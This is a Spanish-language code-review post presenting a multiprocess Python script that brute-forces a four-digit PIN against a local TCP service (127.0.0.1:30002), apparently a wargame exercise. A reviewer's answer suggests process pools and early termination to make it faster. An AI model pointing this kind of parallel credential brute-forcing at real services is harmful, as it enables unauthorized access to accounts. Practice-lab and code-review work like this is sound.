Divide and Conquer Password Bruteforcer

Sep 25 2020

Mi programa fuerza bruta una contraseña. La contraseña es una cadena compuesta por una clave y un código numérico de cuatro dígitos. La clave es conocida, por lo que básicamente estamos forzando entre 0000 y 9999.

Un ejemplo de contraseña es:
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4143

Actualicé ese script que escribí para aprovechar el multiprocesamiento para que se ejecute más rápido. La idea básica es dividir la tarea por la cantidad de CPU disponibles. Hay dos eventos configurados:

  • prnt_sig_found Los subprocesos lo utilizan para decirle al padre si logran adivinar la contraseña correcta.
  • El proceso padre luego usa child_sig_termpara detener cada subproceso

Mi Python está oxidado y creo que tomé algunas malas decisiones. Sería útil invalidar mis suposiciones. :)

#!/usr/bin/env python
# coding: utf-8

import multiprocessing as mp
import socket
import time
import math
import sys
import os

class Connection:
  def __init__(self, pin = 0, max_iter = 10000, sock = None):
    print('initizializing socket instance ...')

    self.pin = pin
    self.max_iter = max_iter

    self.password = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  def p_name(self):
    return mp.current_process().name

  def connect(self, host='127.0.0.1', port=30002):
    print(self.p_name(), 'connecting ...', host, port)
    self.sock.connect((host, port))
    print(self.p_name(), 'connection successful.')

  def write(self, msg):
    print(self.p_name(), 'sending', msg) 
    self.sock.sendall(msg)

  def read(self):
      print(self.p_name(), 'reading data ...')
      data = self.sock.recv(4096)
      return data

  def close(self):
    try:
      self.sock.shutdown(0)
      self.sock.close()
    except:
      pass

  def execute(self, child_sig_term, prnt_sig_found):
    start_time = time.time()
    print(self.p_name(), 'executing ...')

    self.connect()

    welcome_str = self.read()
    print(welcome_str)

    while self.pin < self.max_iter:
      if child_sig_term.is_set():
        break

      pin_str = str(self.pin).zfill(4)
      message = self.password + " " + pin_str + "\n" # add newline char to flush message or it doesn't get sent

      self.write(message.encode())
      received_msg = self.read()

      if 'Wrong' in received_msg:
        print(self.p_name(), 'Wrong guess %s', pin_str)
      else:
        print('_________________found_____________', received_msg)
        prnt_sig_found.set()
        break

      self.pin += 1
      time.sleep(0.5)

    end_time = time.time()
    total_time = end_time - start_time
    print(self.p_name(), "start: "+str(self.pin), ' end: '+str(self.max_iter), 'total_time: ', str((total_time)/60) + ' minutes')


def main():
  print('main')

  connections = []
  processes = []

  # requires read/write access to /dev/shm
  prnt_sig_found = mp.Event()
  child_sig_term = mp.Event()

  MAX_ITER_COUNT = 10000
  processor_count = mp.cpu_count()

  step_count = int(math.floor(MAX_ITER_COUNT / processor_count)) # math.floor returns a float in python 2
  end = step_count
  start = 0

  print('Initial values ->', processor_count, step_count, start, end)

  try:
    for i in range(processor_count):
      conn = Connection(pin = start, max_iter = end)
      proc_name = 'BF[ ' + str(start) + ' - ' + str(end) + ' ]'

      process = mp.Process(name=proc_name, target=conn.execute, args=(child_sig_term, prnt_sig_found))
      process.daemon = True

      connections.append(conn)
      processes.append(process)

      start = end + 1
      end += start + step_count

      # ensure start and end don't exceed max
      if MAX_ITER_COUNT < end  : end = MAX_ITER_COUNT
      if MAX_ITER_COUNT < start: start = MAX_ITER_COUNT

    # start all processes
    for process in processes:
      process.start()

    # wait for all processes to finish
    # block the main program until these processes are finished
    for process in processes:
      process.join()

    prnt_sig_found.wait()
    child_sig_term.set()

  except:
    pass

  finally:
    for conn in connections:
      conn.close()

    for process in processes:
      if process.is_alive():
        process.terminate()
        
      
if __name__ == '__main__':
  main()

Respuestas

2 G.Sliepen Sep 26 2020 at 04:18

Usar grupos de procesos

El multiprocessingmódulo ya tiene funciones para crear un grupo de procesos , por lo que no tiene que implementarlo usted mismo. Hay funciones para que inicie automáticamente una serie de tareas de una sola vez. Por ejemplo, con la map()función, puede poner en cola una tarea para cada combinación posible de 4 dígitos:

pool = mp.Pool();
pool.map(try_combination, range(10000))

Esto hará que los subprocesos de trabajo ejecuten la try_combination()función en todos los valores entre 0 y 9999. En su caso, es posible que desee evitar la creación de una sola conexión para cada combinación, por lo que debe hacerlo de modo que no ponga en cola una tarea para cada combinación, sino que cada tarea pruebe muchas combinaciones. Eche un vistazo a la documentación de multiprocessing.poolpara averiguar qué es posible.

El uso multiprocessing.pooldebería permitirle eliminar la mayor parte del código en formato main().

Detenga otros procesos cuando encuentre la combinación correcta

Su código genera múltiples procesos, cada uno de los cuales prueba una variedad de combinaciones. Luego espere a que todos terminen. Pero, en promedio, encontrará la combinación correcta después de probar solo la mitad de las combinaciones, por lo que será dos veces más eficiente si deja de procesar una vez que encuentre la combinación correcta. Eso significa que en lugar de esperar a que terminen todos, debes esperar a que termine el primero, comprobar si ha encontrado la combinación y, en caso afirmativo, detener los demás procesos.

Con multiprocessing.poolpuedes hacer esto usando map_async()y terminate().

Eliminar la mayoría de las print()declaraciones

Estoy seguro de que fueron útiles al crear el código, para ver qué está haciendo y para depurar cualquier problema. Pero ahora que está funcionando, debe eliminar estas declaraciones. Al final, no estás interesado en lo que está pasando, solo en el resultado final. Además, no imprima la cantidad de tiempo que tomó, puede usar herramientas externas como el timecomando para medir cuánto tiempo tardó su programa en ejecutarse.

Considere reemplazar class Connectioncon una sola función

Escribiste un classpara hacer una conexión y probar varias combinaciones, pero lo único que haces es construirlo y llamar execute()una vez. Una sola función sería suficiente aquí.

Además, después de eliminar las print()declaraciones innecesarias , veo que la mayoría de las funciones miembro son solo una declaración única. En lugar de escribir esa función miembro y llamarla adentro execute(), podría haber escrito esa declaración directamente adentro execute(). Entonces, mueva todas las demás funciones miembro y el constructor execute(), muévalas fuera de classy asígnele un nombre mejor, como try_combinations().